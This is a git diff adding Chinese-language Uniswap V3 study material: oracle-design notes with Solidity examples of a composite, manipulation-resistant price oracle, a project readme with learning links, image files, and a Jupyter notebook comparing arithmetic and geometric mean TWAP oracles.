+- **中等时间窗口**（10 分钟 - 1 小时）：平衡时效性和抗操纵性，适合大多数应用
+- **长时间窗口**（> 1 小时）：最大程度抵抗价格操纵，适合需要高安全性的应用
+
+### 预言机组合策略
+
+对于关键应用，考虑组合多个预言机源：
+
+```solidity
+// 组合多个预言机的示例
+contract CompositeOracle {
+    IOracle public uniswapOracle;
+    IOracle public chainlinkOracle;
+    uint256 public maxPriceDeviation; // 最大允许偏差 (例如: 5% = 500)
+    
+    constructor(address _uniswapOracle, address _chainlinkOracle, uint256 _maxPriceDeviation) {
+        uniswapOracle = IOracle(_uniswapOracle);
+        chainlinkOracle = IOracle(_chainlinkOracle);
+        maxPriceDeviation = _maxPriceDeviation;
+    }
+    
+    function getPrice(address token, uint256 amountIn) external view returns (uint256 price) {
+        uint256 uniswapPrice = uniswapOracle.consult(token, amountIn);
+        uint256 chainlinkPrice = chainlinkOracle.consult(token, amountIn);
+        
+        // 检查价格偏差
+        uint256 priceDiff;
+        if (uniswapPrice > chainlinkPrice) {
+            priceDiff = uniswapPrice - chainlinkPrice;
+        } else {
+            priceDiff = chainlinkPrice - uniswapPrice;
+        }
+        
+        uint256 deviation = priceDiff * 10000 / chainlinkPrice;
+        require(deviation <= maxPriceDeviation, "Price deviation too high");
+        
+        // 使用两个预言机的平均价格
+        return (uniswapPrice + chainlinkPrice) / 2;
+    }
+}
+```
+
+### 异常检测和处理
+
+实现异常检测机制，处理极端情况：
+
+```solidity
+// 异常检测示例
+function checkAndGetPrice(address token) public view returns (uint256 price, bool isReliable) {
+    // 获取当前 TWAP
+    uint256 currentTwap = getTWAP(1800); // 30分钟 TWAP
+    
+    // 获取历史 TWAP
+    uint256 historicalTwap = getTWAP(86400); // 24小时 TWAP
+    
+    // 计算偏差
+    uint256 deviation;
+    if (currentTwap > historicalTwap) {
+        deviation = (currentTwap - historicalTwap) * 100 / historicalTwap;
+    } else {
+        deviation = (historicalTwap - currentTwap) * 100 / historicalTwap;
+    }
+    
+    // 如果偏差超过阈值，标记为不可靠
+    isReliable = deviation <= 20; // 20% 阈值
+    price = currentTwap;
+}
+```
diff --git a/defi/Uniswap-V3/readme.md b/defi/Uniswap-V3/readme.md
new file mode 100644
index 000000000..ec3fbd8d8
--- /dev/null
+++ b/defi/Uniswap-V3/readme.md
@@ -0,0 +1,123 @@
+# Uniswap V3
+
+作为 DeFi 的核心项目之一, Uniswap V3 是所有 Defi 开发者必备的研究项目.
+Uniswap V3 研究小组总结输入了 Uniswap V3 的白皮书分析, 代码逻辑, 前端展示效果等, 并把研究成果分享到 BiliBili 上, 以供后续开发者研究学习.
+
+分享会回放视频：
+
+- [Uniswap V3——白皮书解读](https://www.youtube.com/watch?v=ypASWR5b9zA&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=2)
+- [Uniswap V3——合约代码解析 (1)](https://www.youtube.com/watch?v=Lgp0KS8eo7c&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=3)
+- [Uniswap V3——合约代码解析 (2)](https://www.youtube.com/watch?v=KZ5a7OO4J2I&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=4)
+- [Uniswap V3——SDK代码解析](https://www.youtube.com/watch?v=u5Tg3aw6K6s&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=6)
+- [Uniswap V3——前端代码解析-Interface](https://www.youtube.com/watch?v=wzgyDpq3vlM&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=6)
+- [由浅入深理解UniswapV3原理](https://www.youtube.com/watch?v=3Wr8Ry1ragg&list=PLgPVMJY4tnFPfwAbNx3UFmHne66pkl_OH&index=1)
+
+## Whitepaper
+
+- 白皮书地址
+- 科普文
+  - 如何理解 V3 白皮书
+  - 预言机使用算术平均和几何平均的两种机制对比实验
+
+详细内容请戳这里 :point_right: [白皮书导读](./whitepaperGuide/readme.md)
+
+## Contract
+
+![合约结构图](./img/640.png)
+
+Uniswap v3 在代码层面的架构和 v2 基本保持一致，将合约分成了两个仓库：
+
+- uniswap-v3-core
+  - UniswapV3Factory 是交易池(UniswapV3Pool)统一创建的接口。
+  - UniswapV3Pool 由 UniswapV3PoolDeployer 统一部署。 实现代币交易，流动性管理，交易手续费的收取，oracle 数据管理。接口的实现粒度比较低，不适合普通用户使用，错误的调用其中的接口可能会造成经济上的损失。
+    UniswapV3Pool 是核心逻辑，管理了 Tick 和 Position，实现流动性管理以及一个交易池中 swap 功能实现。
+- uniswap-v3-periphery
+  - NonfungiblePositionManager 负责交易池的创建以及流动性的添加删除，用来增加/移除/修改 Pool 的流动性，并且通过 NFT token 将流动性代币化。使用 ERC721 token（v2 使用的是 ERC20）的原因是同一个池的多个流动性并不能等价替换（v3 的集中流性动功能）。
+  - SwapRouter 是 swap 路由的管理。提供代币交易的接口，它是对 UniswapV3Pool 合约中交易相关接口的进一步封装，前端界面主要与这个合约来进行对接。
+
+### 代码解析
+
+主要代码解析：
+
+- [NonfungiblePositionManager](./contractGuide/NonfungiblePositionManager.md)
+- [SwapRouter](./contractGuide/SwapRouter.md)
+- [UniswapV3Factory](./contractGuide/UniswapV3Factory.md)
+- [UniswapV3Pool](./contractGuide/UniswapV3Pool.md)
+- [Tick](./contractGuide/Tick.md)
+- [Oracle](./contractGuide/Oracle.md)
+- [源码编程技巧学习](./contractGuide/programmingSkills.md)
+
+### 用户交互流程
+
+#### NonfungiblePositionManager
+
+- CreatePool 创交易对池子
+- mint 铸造代表流动性的 ERC721 代币返回给用户
+- increaseLiquidity 添加流动性
+- decreaseLiquidity 移除流动性
+- collect 收取手续费
+- burn 销毁流动性 token
+
+#### SwapRouter
+
+- exactInput 指定精确输入的交易
+- exactOutput 指定精确输出的交易
+- flash swap 闪电贷交易
+
+详细内容请戳这里 :point_right: [UniswapV3 合约导读](./contractGuide/readme.md)
+
+## SDK
+
+详细内容请戳这里 :point_right: [SDK 导读](./frontGuide/sdk/README.md)
+
+## Graph
+
+Graph 实操详解
+
+- 本地部署
+- 第三方托管
+- 在 mapping.ts 中处理合约,区块等相关数据
+- 通过 TheGraph 查询
+- Node.js 中查询 graph 数据
+
+详细内容请戳这里 :point_right: [Graph 导读](./graphGuide/graphGuide.md)
+
+## Interface
+
+Interface 是 User Interface 的含义，此为 Uniswap 网站的代码，包括 token 交易,添加和移除流动性等功能。
+
+- 代码分析使用版本 `tag 4.12.8`
+- UniswapV2Interface 源码地址：https://github.com/Uniswap/uniswap-interface/tree/v4.12.8
+- **文档侧重解析 V3 与 V2 不同的部分**，建议先查看[V2 版本的讲解](../Uniswap-V2/Interface/readme.md)
+
+内容目录:
+
+- 使用的技术栈
+- 需要提前了解的知识点
+- State 数据的结构
+- Multicall State 解析
+- 用户使用流程及 State 的变化
+- 代码解析
+- 相关辅助数据
+- 相关引用
+
+详细内容请戳这里 :point_right: [UniswapV3 Interface Guide](./InterfaceGuide/readme.md)
+
+## 参考链接
+- 从零开始实现 Uniswap V3: https://y1cunhui.github.io/uniswapV3-book-zh-cn/
+- uniswap - V3 技术白皮书导读: https://learnblockchain.cn/article/2357
+- 如何在合约中集成 Uniswap v3: https://learnblockchain.cn/article/2580
+- Uniswap v3 详解（一）：设计原理: https://liaoph.com/uniswap-v3-1/
+- Uniswap v3 设计详解： https://zhuanlan.zhihu.com/p/448382469
+- Uniswap v3 特性解析: https://medium.com/taipei-ethereum-meetup/uniswap-v3-features-explained-in-depth-178cfe45f223
+- Awesome-Uniswap v3 项目: https://github.com/GammaStrategies/awesome-uniswap-v3
+- uniswap - V3 源代码导读: https://mp.weixin.qq.com/s/SYjT3HH48V7WaSGmkPOzKg
+- nft farming: https://github.com/spore-engineering/nft-required-liquidity-mining-pool/blob/main/LiquidityFarmingNFT.sol
+- 一键部署 V3: https://github.com/omarish/uniswap-v3-deploy-plugin
+- 自动调用合约: https://www.gelato.network/
+- Uniswap V3 LP 无常损失保险协议: https://www.chainnews.com/articles/715772476688.htm
+- 流动性策略: https://arxiv.org/pdf/2106.12033.pdf
+- 流动性提供: https://mellowprotocol.medium.com/uniswap-v3-liquidity-providing-101-f1db3822f16d
+- 做市策略： https://zhuanlan.zhihu.com/p/390751130
+- 做市工具： https://twitter.com/Chris_Defi/status/1466437832516456460?s=09
+- traderjoe: https://github.com/traderjoe-xyz/LB-Whitepaper/blob/main/Joe%20v2%20Liquidity%20Book%20Whitepaper.pdf
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-01-pricechange.webp b/defi/Uniswap-V3/whitepaperGuide/img/understanding-01-pricechange.webp
new file mode 100644
index 000000000..cd4f63eed
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-01-pricechange.webp differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-02-liquidityrate.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-02-liquidityrate.png
new file mode 100644
index 000000000..3f791bc91
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-02-liquidityrate.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-03-realliquidity.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-03-realliquidity.png
new file mode 100644
index 000000000..2c50e52b4
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-03-realliquidity.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-04-reserveschange.webp b/defi/Uniswap-V3/whitepaperGuide/img/understanding-04-reserveschange.webp
new file mode 100644
index 000000000..191907354
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-04-reserveschange.webp differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-05-p_on_left.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-05-p_on_left.png
new file mode 100644
index 000000000..391b2a7f4
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-05-p_on_left.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-06-p_on_right.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-06-p_on_right.png
new file mode 100644
index 000000000..408532127
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-06-p_on_right.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-07-liquidity-distribution.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-07-liquidity-distribution.png
new file mode 100644
index 000000000..5be75810f
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-07-liquidity-distribution.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/img/understanding-08-real-liquidity-distribution.png b/defi/Uniswap-V3/whitepaperGuide/img/understanding-08-real-liquidity-distribution.png
new file mode 100644
index 000000000..63ee01f84
Binary files /dev/null and b/defi/Uniswap-V3/whitepaperGuide/img/understanding-08-real-liquidity-distribution.png differ
diff --git a/defi/Uniswap-V3/whitepaperGuide/oracleCompare.ipynb b/defi/Uniswap-V3/whitepaperGuide/oracleCompare.ipynb
new file mode 100644
index 000000000..1a6c33bad
--- /dev/null
+++ b/defi/Uniswap-V3/whitepaperGuide/oracleCompare.ipynb
@@ -0,0 +1,259 @@
+{
+ "cells": [
+  {
+   "cell_type": "code",
+   "execution_count": 37,
+   "source": [
+    "'''\r\n",
+    "compare two implementations of price oracle:\r\n",
+    "    arithmetic mean used by uniswap v2\r\n",
+    "    geometric mean used by uniswap v3\r\n",
+    "'''\r\n",
+    "\r\n",
+    "from functools import reduce\r\n",
+    "import math\r\n",
+    "import pandas as pd\r\n",
+    "import numpy as np\r\n"
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 38,
+   "source": [
+    "# tick index is log(price, 1.0001)\r\n",
+    "LOG_BASE = 1.0001\r\n",
+    "time_index = [0,1,3,6,9,11,12,13,16,20,22,24,26,28,32,36]\r\n",
+    "# 5th and 11th prices are abnormal\r\n",
+    "origin_prices = [100,130,110,120,30,110,100,120,110,120,200,90,80,100,120,150]\r\n",
+    "\r\n",
+    "# delta time of every besides price\r\n",
+    "# first element is 0s\r\n",
+    "delta_times = [0]\r\n",
+    "for i in range(1, len(time_index)):\r\n",
+    "    delta_times.append(time_index[i] - time_index[i-1])\r\n",
+    "    "
+   ],
+   "outputs": [],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 39,
+   "source": [
+    "# uniswap V2 use arithmetic sum\r\n",
+    "def arithmetic_sums_calc(begin, end):\r\n",
+    "    sums = []\r\n",
+    "    for i in range(begin, end):\r\n",
+    "        if i == 0:\r\n",
+    "            sums.append(origin_prices[0])\r\n",
+    "        else:\r\n",
+    "            # sum = current_price * delta time\r\n",
+    "            sums.append(origin_prices[begin+i] * delta_times[begin+i])\r\n",
+    "    return sums\r\n",
+    "\r\n",
+    "# uniswap V3 use geometric sum\r\n",
+    "def geometric_sums_calc(begin, end):\r\n",
+    "    sums = []\r\n",
+    "    for i in range(begin, end):\r\n",
+    "        if i == 0:\r\n",
+    "            sums.append(math.log(origin_prices[0], LOG_BASE))\r\n",
+    "        else:\r\n",
+    "            # sum = current_price * delta time\r\n",
+    "            sums.append(math.log(origin_prices[begin+i], LOG_BASE) * delta_times[begin+i])\r\n",
+    "    return sums\r\n",
+    "\r\n",
+    "arithmetic_sums = arithmetic_sums_calc(0, len(origin_prices))\r\n",
+    "geometric_sums = geometric_sums_calc(0, len(origin_prices))\r\n",
+    "\r\n",
+    "print(arithmetic_sums)\r\n",
+    "print(geometric_sums)"
+   ],
+   "outputs": [
+    {
+     "output_type": "stream",
+     "name": "stdout",
+     "text": [
+      "[100, 130, 220, 360, 90, 220, 100, 120, 330, 480, 400, 180, 160, 200, 480, 600]\n",
+      "[46054.00440660449, 48677.77823122565, 94014.30771788706, 143631.93340141006, 102041.0231609227, 94014.30771788706, 46054.00440660449, 47877.311133803356, 141021.4615768306, 191509.24453521342, 105971.64556003807, 90000.69314129246, 87644.91464709182, 92108.00881320897, 191509.24453521342, 200435.43286744767]\n"
+     ]
+    }
+   ],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 40,
+   "source": [
+    "# the cumulative price store in oracle\r\n",
+    "cumulative_arithmetic = []\r\n",
+    "cumulative_geometric = []\r\n",
+    "\r\n",
+    "for i in range(1,len(origin_prices)+1):\r\n",
+    "    cumulative_arithmetic.append(reduce(lambda x,y: x+y, arithmetic_sums[0:i]))\r\n",
+    "    cumulative_geometric.append(reduce(lambda x,y: x+y, geometric_sums[0:i]))\r\n",
+    "\r\n",
+    "print(cumulative_arithmetic)\r\n",
+    "print(cumulative_geometric)\r\n"
+   ],
+   "outputs": [
+    {
+     "output_type": "stream",
+     "name": "stdout",
+     "text": [
+      "[100, 230, 450, 810, 900, 1120, 1220, 1340, 1670, 2150, 2550, 2730, 2890, 3090, 3570, 4170]\n",
+      "[46054.00440660449, 94731.78263783014, 188746.0903557172, 332378.02375712723, 434419.0469180499, 528433.354635937, 574487.3590425415, 622364.6701763448, 763386.1317531754, 954895.3762883889, 1060867.021848427, 1150867.7149897194, 1238512.6296368113, 1330620.6384500202, 1522129.8829852336, 1722565.3158526812]\n"
+     ]
+    }
+   ],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 41,
+   "source": [
+    "# calc price with oracle's cumulative price\r\n",
+    "def calc_arithmetic_oracleprice(begin,end):\r\n",
+    "    return (cumulative_arithmetic[end] - cumulative_arithmetic[begin]) / (time_index[end] - time_index[begin])\r\n",
+    "\r\n",
+    "def calc_geometric_oracleprice(begin,end):\r\n",
+    "    return math.pow(LOG_BASE, (cumulative_geometric[end] - cumulative_geometric[begin]) / (time_index[end] - time_index[begin]))\r\n",
+    "\r\n",
+    "WINDOW_SIZE = 4\r\n",
+    "\r\n",
+    "np_mean_prices = []\r\n",
+    "oracle_arithmetic_prices = []\r\n",
+    "oracle_geometric_prices = []\r\n",
+    "\r\n",
+    "for i in range(0,len(origin_prices)):\r\n",
+    "    if i < WINDOW_SIZE:\r\n",
+    "        np_mean_prices.append(None)\r\n",
+    "        oracle_arithmetic_prices.append(None)\r\n",
+    "        oracle_geometric_prices.append(None)\r\n",
+    "    else:\r\n",
+    "        np_mean_prices.append(np.mean(origin_prices[i-WINDOW_SIZE:i]))\r\n",
+    "        oracle_arithmetic_prices.append(calc_arithmetic_oracleprice(i-WINDOW_SIZE,i))\r\n",
+    "        oracle_geometric_prices.append(calc_geometric_oracleprice(i-WINDOW_SIZE,i))\r\n",
+    "\r\n",
+    "df = pd.DataFrame({\r\n",
+    "  'time_index': time_index,\r\n",
+    "  'price': origin_prices,\r\n",
+    "  'delta_times': delta_times,\r\n",
+    "  'cumulative_arithmetic': cumulative_arithmetic,\r\n",
+    "  'cumulative_geometric': cumulative_geometric,\r\n",
+    "  'oracle_arithmetic_prices': oracle_arithmetic_prices,\r\n",
+    "  'oracle_geometric_prices': oracle_geometric_prices,\r\n",
+    "})\r\n",
+    "\r\n",
+    "# the result showing arithmetic mean giving higher price more weight\r\n",
+    "# and geometric mean giving lower price more weight\r\n",
+    "print(df)\r\n"
+   ],
+   "outputs": [
+    {
+     "output_type": "stream",
+     "name": "stdout",
+     "text": [
+      "    time_index  price  delta_times  cumulative_arithmetic  \\\n",
+      "0            0    100            0                    100   \n",
+      "1            1    130            1                    230   \n",
+      "2            3    110            2                    450   \n",
+      "3            6    120            3                    810   \n",
+      "4            9     30            3                    900   \n",
+      "5           11    110            2                   1120   \n",
+      "6           12    100            1                   1220   \n",
+      "7           13    120            1                   1340   \n",
+      "8           16    110            3                   1670   \n",
+      "9           20    120            4                   2150   \n",
+      "10          22    200            2                   2550   \n",
+      "11          24     90            2                   2730   \n",
+      "12          26     80            2                   2890   \n",
+      "13          28    100            2                   3090   \n",
+      "14          32    120            4                   3570   \n",
+      "15          36    150            4                   4170   \n",
+      "\n",
+      "    cumulative_geometric  oracle_arithmetic_prices  oracle_geometric_prices  \n",
+      "0           4.605400e+04                       NaN                      NaN  \n",
+      "1           9.473178e+04                       NaN                      NaN  \n",
+      "2           1.887461e+05                       NaN                      NaN  \n",
+      "3           3.323780e+05                       NaN                      NaN  \n",
+      "4           4.344190e+05                 88.888889                74.809987  \n",
+      "5           5.284334e+05                 89.000000                76.462382  \n",
+      "6           5.744874e+05                 85.555556                72.660638  \n",
+      "7           6.223647e+05                 75.714286                62.957460  \n",
+      "8           7.633861e+05                110.000000               109.869668  \n",
+      "9           9.548954e+05                114.444444               114.231832  \n",
+      "10          1.060867e+06                133.000000               129.483499  \n",
+      "11          1.150868e+06                126.363636               122.038055  \n",
+      "12          1.238513e+06                122.000000               115.703100  \n",
+      "13          1.330621e+06                117.500000               109.544512  \n",
+      "14          1.522130e+06                102.000000               100.725399  \n",
+      "15          1.722565e+06                120.000000               117.203118  \n"
+     ]
+    }
+   ],
+   "metadata": {}
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 42,
+   "source": [
+    "'''\r\n",
+    "arithmetic mean is more stable than geometric mean.\r\n",
+    "time 12s \r\n",
+    "'''\r\n",
+    "import matplotlib.pyplot as plt\r\n",
+    "\r\n",
+    "plt.figure(figsize=(16,8))\r\n",
+    "plt.plot(time_index, origin_prices, label=\"origin price\")\r\n",
+    "plt.plot(time_index, oracle_arithmetic_prices, label=\"arithmetic price\")\r\n",
+    "plt.plot(time_index, oracle_geometric_prices, label=\"geometric price\")\r\n",
+    "plt.legend()\r\n",
+    "plt.xlabel('time/s')\r\n",
+    "plt.ylabel('price/$')\r\n",
+    "plt.title('compare oracle price')\r\n",
+    "plt.show()"
+   ],
+   "outputs": [
+    {
+     "output_type": "display_data",
+     "data": {
+      "image/png": "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